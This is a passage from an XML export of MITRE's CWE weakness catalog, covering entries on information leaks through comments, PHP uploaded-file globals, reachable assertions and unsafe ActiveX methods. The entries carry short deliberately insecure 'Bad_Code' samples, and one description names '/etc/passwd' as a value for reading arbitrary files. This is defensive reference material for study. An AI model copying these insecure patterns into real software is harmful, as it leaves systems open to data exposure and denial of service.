					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Unset Secure Attribute for
						Sensitive Cookies in HTTPS Session</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="615" Name="Information Exposure Through Comments" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>While adding general comments is very useful, some programmers
					tend to leave important data, such as: filenames related to the web application,
					old links or links which were not meant to be browsed by users, old code
					fragments, etc.</Description_Summary>
				        <Extended_Description>
					          <Text>An attacker who finds these comments can map the application's structure
						and files, expose hidden parts of the site, and study the fragments of code
						to reverse engineer the application, which may help develop further attacks
						against the site.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>540</Relationship_Target_ID>
					          <!--Information Exposure Through Source Code-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Distribution</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Remove comments which have sensitive information about the
							design/implementation of the application. Some of the comments may be
							exposed to the user and affect the security posture of the
							application.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following comment, embedded in a JSP, will be displayed in the
						resulting HTML output.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>HTML</Code_Example_Language>
							              <Code_Example_Language>JSP</Code_Example_Language>
							              <Code>&lt;!-- FIXME: calling this with more than 30 args kills the JDBC
								server --&gt;</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-6197</Observed_Example_Reference>
					          <Observed_Example_Description>Version numbers and internal hostnames leaked in
						HTML comments.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-4072</Observed_Example_Reference>
					          <Observed_Example_Description>CMS places full pathname of server in HTML
						comment.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2431</Observed_Example_Reference>
					          <Observed_Example_Description>blog software leaks real username in HTML
						comment.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Observed_Examples,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Information Leak Through
						Comments</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="616" Name="Incomplete Identification of Uploaded File Variables (PHP)" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The PHP application uses an old method for processing uploaded
					files by referencing the four global variables that are set for each file (e.g.
					$varname, $varname_size, $varname_name, $varname_type). These variables could be
					overwritten by attackers, causing the application to process unauthorized
					files.</Description_Summary>
				        <Extended_Description>
					          <Text>These global variables could be overwritten by POST requests, cookies, or
						other methods of populating or overwriting these variables. This could be
						used to read or process arbitrary files by providing values such as
						"/etc/passwd".</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>429</Relationship_Target_ID>
					          <!--Handler Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>345</Relationship_Target_ID>
					          <!--Insufficient Verification of Data Authenticity-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>473</Relationship_Target_ID>
					          <!--PHP External Variable Modification-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="PHP"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use PHP 4 or later.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>If you must support older PHP versions, write your own version of
							is_uploaded_file() and run it against
							$HTTP_POST_FILES['userfile']))</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For later PHP versions, reference uploaded files using the
							$HTTP_POST_FILES or $_FILES variables, and use is_uploaded_file() or
							move_uploaded_file() to ensure that you are dealing with an uploaded
							file.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>As of 2006, the "four globals" method is probably in sharp decline,
						but older PHP applications could have this issue.</Intro_Text>
					          <Example_Body>
						            <Text>In the "four globals" method, PHP sets the following 4 global
							variables (where "varname" is application-dependent):</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>$varname = name of the temporary file on local machine</Code>
							              <Code>$varname_size = size of file</Code>
							              <Code>$varname_name = original name of file provided by client</Code>
							              <Code>$varname_type = MIME type of the file</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>"The global $_FILES exists as of PHP 4.1.0 (Use $HTTP_POST_FILES
						instead if using an earlier version). These arrays will contain all the
						uploaded file information."</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>$_FILES['userfile']['name'] - original filename from client</Code>
							              <Code>$_FILES['userfile']['tmp_name'] - the temp filename of the file on
								the server</Code>
						            </Block>
						            <Text>** note: 'userfile' is the field name from the web form; this can
							vary.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1460</Observed_Example_Reference>
					          <Observed_Example_Description>Forum does not properly verify whether a file was
						uploaded or if the associated variables were set by POST, allowing remote
						attackers to read arbitrary files. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1759</Observed_Example_Reference>
					          <Observed_Example_Description>Product doesn't check if the variables for an
						upload were set by uploading the file, or other methods such as
						$_POST.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1710</Observed_Example_Reference>
					          <Observed_Example_Description>Product does not distinguish uploaded file from
						other files.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>Shaun Clowes</Reference_Author>
					          <Reference_Title>A Study in Scarlet - section 5, "File Upload"</Reference_Title>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Incomplete Identification of Uploaded File Variables
						(PHP)</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Observed_Example, Other_Notes,
						Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="617" Name="Reachable Assertion" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The product contains an assert() or similar statement that can
					be triggered by an attacker, which leads to an application exit or other
					behavior that is more severe than necessary.</Description_Summary>
				        <Extended_Description>
					          <Text>For example, if a server handles multiple simultaneous connections, and an
						assert() occurs in one single connection that causes all other connections
						to be dropped, this is a reachable assertion that leads to a denial of
						service.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>670</Relationship_Target_ID>
					          <!--Always-Incorrect Control Flow Implementation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>398</Relationship_Target_ID>
					          <!--Indicator of Poor Code Quality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>850</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 05 - Methods (MET)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>887</Relationship_Target_ID>
					          <!--SFP Cluster: API-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Other_Notes>
				        <Note>
					          <Text>While assertion is good for catching logic errors and reducing the chances
						of reaching more serious vulnerability conditions, it can still lead to a
						denial of service if the relevant code can be triggered by an attacker, and
						if the scope of the assert() extends beyond the attacker's own
						session.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker that can trigger an assert statement can crash the
							application or cause a denial of service.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Make sensitive open/close operation non reachable by directly
							user-controlled data (e.g. open/close resources)</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Perform input validation on user data.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the excerpt below, an AssertionError (an unchecked exception) is
						thrown if the user hasn't entered an email address in an HTML
						form.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String email = request.getParameter("email_address");</Code>
							              <Code>assert email != null;</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-6767</Observed_Example_Reference>
					          <Observed_Example_Description>FTP server allows remote attackers to cause a
						denial of service (daemon abort) via crafted commands which trigger an
						assertion failure.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-6811</Observed_Example_Reference>
					          <Observed_Example_Description>Chat client allows remote attackers to cause a
						denial of service (crash) via a long message string when connecting to a
						server, which causes an assertion failure.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-5779</Observed_Example_Reference>
					          <Observed_Example_Description>Product allows remote attackers to cause a denial
						of service (daemon crash) via LDAP BIND requests with long authcid names,
						which triggers an assertion failure.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-4095</Observed_Example_Reference>
					          <Observed_Example_Description>Product allows remote attackers to cause a denial
						of service (crash) via certain queries, which cause an assertion
						failure.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-4574</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: security monitoring product has an
						off-by-one error that leads to unexpected length values, triggering an
						assertion.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Never use assertions to validate method
						arguments</Mapped_Node_Name>
					          <Mapped_Node_ID>MET01-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Observed_Example,
						Other_Notes, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Observed_Examples,
						Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="618" Name="Exposed Unsafe ActiveX Method" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>An ActiveX control is intended for use in a web browser, but it
					exposes dangerous methods that perform actions that are outside of the browser's
					security model (e.g. the zone or domain).</Description_Summary>
				        <Extended_Description>
					          <Text>ActiveX controls can exercise far greater control over the operating
						system than typical Java or javascript. Exposed methods can be subject to
						various vulnerabilities, depending on the implemented behaviors of those
						methods, and whether input validation is performed on the provided
						arguments. If there is no integrity checking or origin validation, this
						method could be invoked by attackers.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>749</Relationship_Target_ID>
					          <!--Exposed Dangerous Method or Function-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>275</Relationship_Target_ID>
					          <!--Permission Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>100</Relationship_Target_ID>
					          <!--Technology-Specific Input Validation Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>If you must expose a method, make sure to perform input validation on
							all arguments, and protect against all possible vulnerabilities.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use code signing, although this does not protect against any
							weaknesses that are already in the control.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Where possible, avoid marking the control as safe for
							scripting.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-1120</Observed_Example_Reference>
					          <Observed_Example_Description>download a file to arbitrary
						folders.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-6838</Observed_Example_Reference>
					          <Observed_Example_Description>control downloads and executes a url in a
						parameter</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-0321</Observed_Example_Reference>
					          <Observed_Example_Description>resultant buffer
						overflow</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference>
					          <Reference_Link>http://msdn.microsoft.com/workshop/components/activex/safety.asp</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Link>http://msdn.microsoft.com/workshop/components/activex/security.asp</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 12, "ActiveX Security", Page 749.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Observed_Example, Other_Notes,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships, Type</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
